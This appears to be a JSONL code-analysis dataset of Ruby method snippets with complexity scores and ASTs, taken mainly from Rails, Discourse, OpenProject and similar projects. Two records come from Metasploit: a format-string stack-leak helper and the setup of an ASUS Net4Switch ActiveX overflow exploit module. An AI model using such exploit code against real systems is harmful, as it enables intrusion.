,\"[]\",{\"type\":\"str\",\"children\":[\"privacyPolicy\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"capabilities\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"capabilities\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sign_in_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"signInUrl\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"contactEmail\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fediverse_account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fediverseAccount\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save!\"]}]}]}","id":"c1a9c1ae-7cef-406b-9076-efe03b4fc6f5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-solved/db/migrate/20221121223417_rename_badges.rb","start_line":49,"raw_source":"def up\n    default_locale =\n      DB.query_single(\"SELECT value FROM site_settings WHERE name = 'default_locale'\").first || \"en\"\n\n    sql = <<~SQL\n      UPDATE badges\n      SET name             = :new_name,\n          description      = NULL,\n          long_description = NULL\n      WHERE name = :old_name\n    SQL\n\n    badge_name = HELPDESK_TRANSLATIONS.fetch(default_locale, \"Helpdesk\")\n    DB.exec(sql, old_name: badge_name, new_name: \"Solved 1\")\n\n    badge_name = TECH_SUPPORT_TRANSLATIONS.fetch(default_locale, \"Tech Support\")\n    DB.exec(sql, old_name: badge_name, new_name: \"Solved 2\")\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_locale\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'default_locale'\"]}]},\"first\"]},{\"type\":\"str\",\"children\":[\"en\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE badges\\n\"]},{\"type\":\"str\",\"children\":[\"SET name             = :new_name,\\n\"]},{\"type\":\"str\",\"children\":[\"    description      = NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"    long_description = NULL\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE name = :old_name\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"badge_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HELPDESK_TRANSLATIONS\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"default_locale\"]},{\"type\":\"str\",\"children\":[\"Helpdesk\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_name\"]},{\"type\":\"lvar\",\"children\":[\"badge_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_name\"]},{\"type\":\"str\",\"children\":[\"Solved 1\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"badge_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TECH_SUPPORT_TRANSLATIONS\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"default_locale\"]},{\"type\":\"str\",\"children\":[\"Tech Support\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_name\"]},{\"type\":\"lvar\",\"children\":[\"badge_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_name\"]},{\"type\":\"str\",\"children\":[\"Solved 2\"]}]}]}]}]}]}","id":"1baac973-3417-4ffc-b23d-964a8217ba4e"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/sidebar_section_form.rb","start_line":19,"raw_source":"def mark_as_public\n        find(\".modal .mark-public\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_as_public\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".modal .mark-public\"]}]},\"click\"]}]}","id":"2ad5c21d-d5a5-4d93-8777-910aaeafce1c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/predicate_builder/association_query_value.rb","start_line":51,"raw_source":"def select_clause?\n          value.select_values.empty?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"select_clause?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"select_values\"]},\"empty?\"]}]}","id":"1d7ea66e-3514-41c1-a395-5e63167b2f97"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard_event.rb","start_line":44,"raw_source":"def only_recent_registrations\n    return unless category == CATEGORY_SIGNUP && user_id.present?\n    return unless user.registered_at < 1.day.ago\n\n    errors.add(:user_id, \"is not a recent registration\")\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"only_recent_registrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"CATEGORY_SIGNUP\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"registered_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"str\",\"children\":[\"is not a recent registration\"]}]}]}]}","id":"a64ebcf8-75ee-40b0-9db8-757a7a898c43"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/format_string.rb","start_line":254,"raw_source":"def fmtstr_stack_read(offset, extra = '')\n\n    # cant read offset 0!\n    return nil if offset < 1\n\n    fmt = ''\n    fmt << extra\n    if @use_dpa\n      fmt << \"|%\" + offset.to_s + \"$x\"\n    else\n      x = offset\n      if @use_fpu and x >= 2\n        fmt << \"%g\" * (x/2)\n        x %= 2;\n      end\n      fmt << \"%x\" * (x-1)\n      fmt << \"|\"\n      fmt << \"%x\"\n    end\n\n    res = trigger_fmt(fmt)\n    return res if not res\n\n    numstr = extract_fmt_output(res)\n    dw = numstr.split('|')[1].to_i(16)\n  end","complexity_score":43.98,"ast_json":"{\"type\":\"def\",\"children\":[\"fmtstr_stack_read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]},{\"type\":\"optarg\",\"children\":[\"extra\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"fmt\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"extra\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@use_dpa\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"|%\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"$x\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@use_fpu\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\">=\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%g\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\"]},\"%\",{\"type\":\"int\",\"children\":[2]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%x\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"|\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"%x\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"trigger_fmt\",{\"type\":\"lvar\",\"children\":[\"fmt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"numstr\",{\"type\":\"send\",\"children\":[null,\"extract_fmt_output\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numstr\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]}]}]}","id":"dc8d93d0-a4b1-43ca-9089-5c74532b5443"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow\",\n        'Description' => %q{\n          This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll\n          ActiveX control.  A buffer overflow condition is possible in multiple places due\n          to the use of the CxDbgPrint() function, which allows remote attackers to gain\n          arbitrary code execution under the context of the user.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Dmitriy Evdokimov', # Initial discovery, poc\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2012-4924' ],\n          [ 'OSVDB', '79438' ],\n          [ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n          'StackAdjustment' => -3500,\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => \"seh\",\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Automatic', {} ],\n          [ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],\n          [ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-02-17',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])\n      ]\n    )\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll\\n\"]},{\"type\":\"str\",\"children\":[\"          ActiveX control.  A buffer overflow condition is possible in multiple places due\\n\"]},{\"type\":\"str\",\"children\":[\"          to the use of the CxDbgPrint() function, which allows remote attackers to gain\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary code execution under the context of the user.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Dmitriy Evdokimov\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-4924\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"79438\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://dsecrg.com/pages/vul/show.php?id=417\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 6 on Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Max\"]},{\"type\":\"str\",\"children\":[\"0x40000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"str\",\"children\":[\"0x500\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 7 on Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Max\"]},{\"type\":\"str\",\"children\":[\"0x40000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"str\",\"children\":[\"0x500\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-02-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable JavaScript obfuscation\"]}]}]}]}]}]}]}","id":"e7d7f466-f1e0-409f-8182-f287366d43c7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_relations_tab/index_component.rb","start_line":98,"raw_source":"def should_render_add_child?\n    return false if work_package.milestone?\n\n    allowed_to?(:manage_subtasks)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_render_add_child?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"milestone?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"allowed_to?\",{\"type\":\"sym\",\"children\":[\"manage_subtasks\"]}]}]}]}","id":"58490bf9-f6e7-4ba2-bbbf-fe9422672c10"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_event.rb","start_line":98,"raw_source":"def self.task_final_events\n    ::Settings.event_handling.task_final_events.to_hash\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"task_final_events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"event_handling\"]},\"task_final_events\"]},\"to_hash\"]}]}","id":"da34b3f4-6bb4-4aba-b67e-4bb780a27332"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb","start_line":111,"raw_source":"def test_generate_message_wrong_length_with_custom_message\n    assert_equal \"custom message 10\", @person.errors.generate_message(:title, :wrong_length, message: \"custom message %{count}\", count: 10)\n  end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_message_wrong_length_with_custom_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"custom message 10\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@person\"]},\"errors\"]},\"generate_message\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"wrong_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"custom message %{count}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}","id":"61e6bf6f-8d1b-4f2e-b276-20b6ff8da55d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_test.rb","start_line":430,"raw_source":"def test_where_on_association_with_custom_primary_key_with_relation\n      author = authors(:david)\n      essay = Essay.where(writer: Author.where(id: author.id)).first\n\n      assert_equal essays(:david_modest_proposal), essay\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_on_association_with_custom_primary_key_with_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"essay\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Essay\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"writer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"id\"]}]}]}]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"essays\",{\"type\":\"sym\",\"children\":[\"david_modest_proposal\"]}]},{\"type\":\"lvar\",\"children\":[\"essay\"]}]}]}]}","id":"25df1dde-07b5-42bb-b275-6d91db75a6df"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/scim_v2/groups_controller.rb","start_line":83,"raw_source":"def update\n      super do |group_id, patch_hash|\n        storage_class.transaction do\n          group = storage_scope.find(group_id)\n          group.from_scim_patch!(patch_hash: patch_hash)\n          user_ids = group.scim_members.map(&:id)\n          raise_result_errors_for_scim(\n            Groups::UpdateService\n              .new(user: User.current, model: group)\n              .call(replace_user_ids: user_ids)\n          )\n          group.reload\n          group.to_scim(\n            location: url_for(action: :show, id: group.id),\n            include_attributes:\n          )\n        end\n      end\n    end","complexity_score":27.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]},{\"type\":\"arg\",\"children\":[\"patch_hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_class\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_scope\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"from_scim_patch!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"patch_hash\"]},{\"type\":\"lvar\",\"children\":[\"patch_hash\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"scim_members\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise_result_errors_for_scim\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Groups\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace_user_ids\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"to_scim\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_attributes\"]},{\"type\":\"send\",\"children\":[null,\"include_attributes\"]}]}]}]}]}]}]}]}","id":"77c3b3b8-edb9-4714-98e7-56032b866bb5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/client.rb","start_line":188,"raw_source":"def team_name\n      (team_information || {})['name']\n    end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"team_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"team_information\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}","id":"edb5a8b1-1263-4efa-8d1e-fdf6173e1bd6"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/work_packages.rb","start_line":35,"raw_source":"def become_non_member(&block)\n  let(:current_user) { create(:user) }\n\n  before do\n    projects = block ? instance_eval(&block) : [project]\n\n    projects.each do |p|\n      current_user.memberships.select { |m| m.project_id == p.id }.each(&:destroy)\n    end\n  